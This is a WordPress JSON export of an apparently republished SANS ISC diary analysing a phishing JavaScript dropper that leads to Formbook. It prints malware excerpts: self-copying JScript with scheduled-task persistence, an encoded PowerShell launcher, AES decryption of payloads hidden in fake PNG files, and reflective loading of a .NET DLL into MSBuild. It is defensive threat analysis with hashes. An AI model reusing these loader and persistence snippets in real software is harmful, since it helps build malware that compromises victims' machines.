{"id":12076,"date":"2026-04-14T04:03:51","date_gmt":"2026-04-14T04:03:51","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2026\/04\/14\/32884\/"},"modified":"2026-04-14T04:03:51","modified_gmt":"2026-04-14T04:03:51","slug":"32884","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2026\/04\/14\/32884\/","title":{"rendered":"Obfuscated JavaScript or Nothing, (Thu, Apr 9th)"},"content":{"rendered":"<p>    Obfuscated JavaScript or Nothing, (Thu, Apr 9th)<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n    <!-- no image --><br \/>\n \t<BR><br \/>\n<BR><\/BR><\/p>\n<div>\n<p>I spotted an interesting piece of JavaScript code that was delivered via a phishing email in a RAR archive. The file was called \u201ccbmjlzan.JS\u201d (SHA256:a8ba9ba93b4509a86e3d7dd40fd0652c2743e32277760c5f7942b788b74c5285) and is only identified as malicious by 15 AV\u2019s on VirusTotal[<a href=\"https:\/\/www.virustotal.com\/gui\/file\/a8ba9ba93b4509a86e3d7dd40fd0652c2743e32277760c5f7942b788b74c5285\/gti-summary\">1<\/a>].<\/p>\n<p>The file is pretty big (10MB) and contains a copy of the AsmDB project lib[<a href=\"https:\/\/github.com\/MahdiSafsafi\/asmdb\">2<\/a>]. The purpose is unknown.<\/p>\n<p>As usual with JavaScript, the file is pretty well obfuscated and contains UTF characters (supported on Windows) but, when you scrool a bit, some code is disclosed:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" alt=\"\" src=\"https:\/\/i0.wp.com\/isc.sans.edu\/diaryimages\/images\/isc-20260410-1.png?ssl=1\" style=\"width: 1000px; height: 469px;\"><\/p>\n<p>The script is a Windows-flavor JavaScript and uses ActiveXObject, Microsoft.XMLDOM, ADODB.Stream. It copies itself and implements persistence (through a scheduled task):<\/p>\n<pre style=\"background: rgb(238, 238, 238); border: 1px solid rgb(204, 204, 204); padding: 5px 10px;\">\nfunction FDAWE(x) {\n  return x.split('').reverse().join('');\n}\nvar scriptName = WScript['ScriptName'];\nvar urlName = ThreeChars(scriptName) + '.url';\nvar publicUrl = 'C:\\Users\\Public\\' + urlName;\nvar copiedScript = 'C:\\Users\\Public\\Libraries\\' + scriptName;\nvar fso = new ActiveXObject('Scripting.FileSystemObject');\nif (!fso.FileExists(copiedScript)) {\n  if (LOUU...ONIA.split('').join('') === 'YESSSSSSSS') {\n    fso.CopyFile(scriptName, copiedScript);\n    var shell = new ActiveXObject('WScript.Shell');\n    var cmd = 'cmd \/c schtasks \/create \/sc minute \/mo 15 \/tn ' + scriptName + ' \/tr ' + copiedScript;\n    shell.Run(cmd);\n  }\n}<\/pre>\n<p>Three files are\u00a0dropped in C:UsersPublic:<\/p>\n<ul>\n<li>Brio.png<\/li>\n<li>Orio.png<\/li>\n<li>Xrio.png<\/li>\n<\/ul>\n<p>These aren\u2019t pictures, they are used by the PowerShell script executed after implementing persistence:<\/p>\n<pre style=\"background: rgb(238, 238, 238); border: 1px solid rgb(204, 204, 204); padding: 5px 10px;\">\n\"C:WindowsSystem32WindowsPowerShellv1.0powershell.exe\" -Noexit -nop -c iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String((\u2018&lt;__REMOVED__&gt;'.Replace('VFHDVXDJCF','')))))<\/pre>\n<p>The PowerShell is even documented and has multiple purposes.<\/p>\n<p>First, the file Xrio.png is processed. It contains AES encrypted data:<\/p>\n<pre style=\"background: rgb(238, 238, 238); border: 1px solid rgb(204, 204, 204); padding: 5px 10px;\">\n$inputBase64FilePath = \"C:UsersPUBLICXrio.png\"\n$aes_var = [System.Security.Cryptography.Aes]::Create()\n$aes_var.Mode = [System.Security.Cryptography.CipherMode]::CBC\n$aes_var.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7\n$aes_var.Key = [System.Convert]::FromBase64String('XctflJI8B7Qo2dA6FbwuHYAjjzjViSx3hThThXX1QUY=')\n$aes_var.IV = [System.Convert]::FromBase64String('eb8a\/RvZf2ltVDo2satMKg==')\n$base64String = [System.IO.File]::ReadAllText($inputBase64FilePath)\n$encryptedBytes = [System.Convert]::FromBase64String($base64String)\n$memoryStream = [System.IO.MemoryStream]::new()\n$memoryStream.Write($encryptedBytes, 0, $encryptedBytes.Length)\n$memoryStream.Position = 0  # Reset the position for reading\n$decryptor = $aes_var.CreateDecryptor()\n$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)\n$streamReader = New-Object System.IO.StreamReader($cryptoStream)\n$decryptedString = $streamReader.ReadToEnd()\n$cryptoStream.Close()\n$memoryStream.Close()\n$streamReader.Close()\n$commands = $decryptedString -split \"`n\"\nforeach ($encodedCommand in $commands) {\n   ...\n}<\/pre>\n<p>The decrypted code will apply\u00a0evasion techniques based on patching EtwEventWrite() and AmsiScanBuffer(). This is classic in many malware[<a href=\"https:\/\/isc.sans.edu\/diary\/Live+Patching+DLLs+with+Python\/31218\">3<\/a>].<\/p>\n<p>Then, the PowerShell script will decrypt the blob in Orio.png using the same technique. This time a PE file will be extracted (SHA256:53c3e0f8627917e8972a627b9e68adf9c21966428a85cb1c28f47cb21db3c12b)[<a href=\"https:\/\/www.virustotal.com\/gui\/file\/53c3e0f8627917e8972a627b9e68adf9c21966428a85cb1c28f47cb21db3c12b\/gti-summary\">4<\/a>]. It\u2019s a .Net DLL.<\/p>\n<p>The DLL is injected in a MSBuild.exe process:<\/p>\n<pre style=\"background: rgb(238, 238, 238); border: 1px solid rgb(204, 204, 204); padding: 5px 10px;\">\n$Allohaarnppp11111111=@('file:\/\/\/C:\/Users\/Public\/Brio.png','0','','','MSBuild','','MSBuild','','','','','','7','0','','0','','','');\ntry{\n    $Allohaarnppp111111111=$Allohaarnppp1111111111.GetType('Fiber.Program');\n    $Allohaarnppp1111111=$Allohaarnppp111111111.GetMethod('Main');\n    $Allohaarnppp1111111.Invoke($nUll,[object[]]$Allohaarnppp11111111)}\nCatch {\n}<\/pre>\n<p>This DLL will used the file Brio.png and extract the real malware[<a href=\"https:\/\/www.virustotal.com\/gui\/file\/fdcfbb67d7e996e606963ac96a4a1b14e7070e1e88d210b2f567e3d40541b7b7\/gti-summary\">5<\/a>]. It&#8217;s another sample of Formbook.<\/p>\n<p>[1]\u00a0<a href=\"https:\/\/www.virustotal.com\/gui\/file\/a8ba9ba93b4509a86e3d7dd40fd0652c2743e32277760c5f7942b788b74c5285\/gti-summary\">https:\/\/www.virustotal.com\/gui\/file\/a8ba9ba93b4509a86e3d7dd40fd0652c2743e32277760c5f7942b788b74c5285\/gti-summary<\/a><br \/>\n[2]\u00a0<a href=\"https:\/\/github.com\/MahdiSafsafi\/asmdb\">https:\/\/github.com\/MahdiSafsafi\/asmdb<\/a><br \/>\n[3]\u00a0<a href=\"https:\/\/isc.sans.edu\/diary\/Live+Patching+DLLs+with+Python\/31218\">https:\/\/isc.sans.edu\/diary\/Live+Patching+DLLs+with+Python\/31218<\/a><br \/>\n[4]\u00a0<a href=\"https:\/\/www.virustotal.com\/gui\/file\/53c3e0f8627917e8972a627b9e68adf9c21966428a85cb1c28f47cb21db3c12b\/gti-summary\">https:\/\/www.virustotal.com\/gui\/file\/53c3e0f8627917e8972a627b9e68adf9c21966428a85cb1c28f47cb21db3c12b\/gti-summary<\/a><br \/>\n[5]\u00a0<a href=\"https:\/\/www.virustotal.com\/gui\/file\/fdcfbb67d7e996e606963ac96a4a1b14e7070e1e88d210b2f567e3d40541b7b7\/gti-summary\">https:\/\/www.virustotal.com\/gui\/file\/fdcfbb67d7e996e606963ac96a4a1b14e7070e1e88d210b2f567e3d40541b7b7\/gti-summary<\/a><\/p>\n<p>Xavier Mertens (@xme)<br \/>\nXameco<br \/>\nSenior ISC Handler &#8211; Freelance Cyber Security Consultant<br \/>\n<a href=\"https:\/\/keybase.io\/xme\/key.asc\">PGP Key<\/a><\/p>\n<p> (c) SANS Internet Storm Center. https:\/\/isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.<\/p><\/div>\n<p> \t<BR><br \/>\n <BR><\/BR><\/p>\n<p> \t<BR><br \/>\n<BR><\/BR><br \/>\n<a href=\"https:\/\/isc.sans.edu\/diary\/rss\/32884\">Go to isc.sans.edu<\/a><br \/>\n \t<BR><br \/>\n <BR><\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Obfuscated JavaScript or Nothing, (Thu, Apr 9th) I spotted an interesting piece of JavaScript code that was delivered via a phishing email in a RAR archive. The file was called \u201ccbmjlzan.JS\u201d (SHA256:a8ba9ba93b4509a86e3d7dd40fd0652c2743e32277760c5f7942b788b74c5285) and is only identified as malicious by 15 AV\u2019s on VirusTotal[1]. The file is pretty big (10MB) and contains a copy of the [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[56],"tags":[69],"class_list":["post-12076","post","type-post","status-publish","format-standard","hentry","category-isc-sans-edu","tag-isc-sans-edu"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/12076"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=12076"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/12076\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=12076"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=12076"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=12076"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}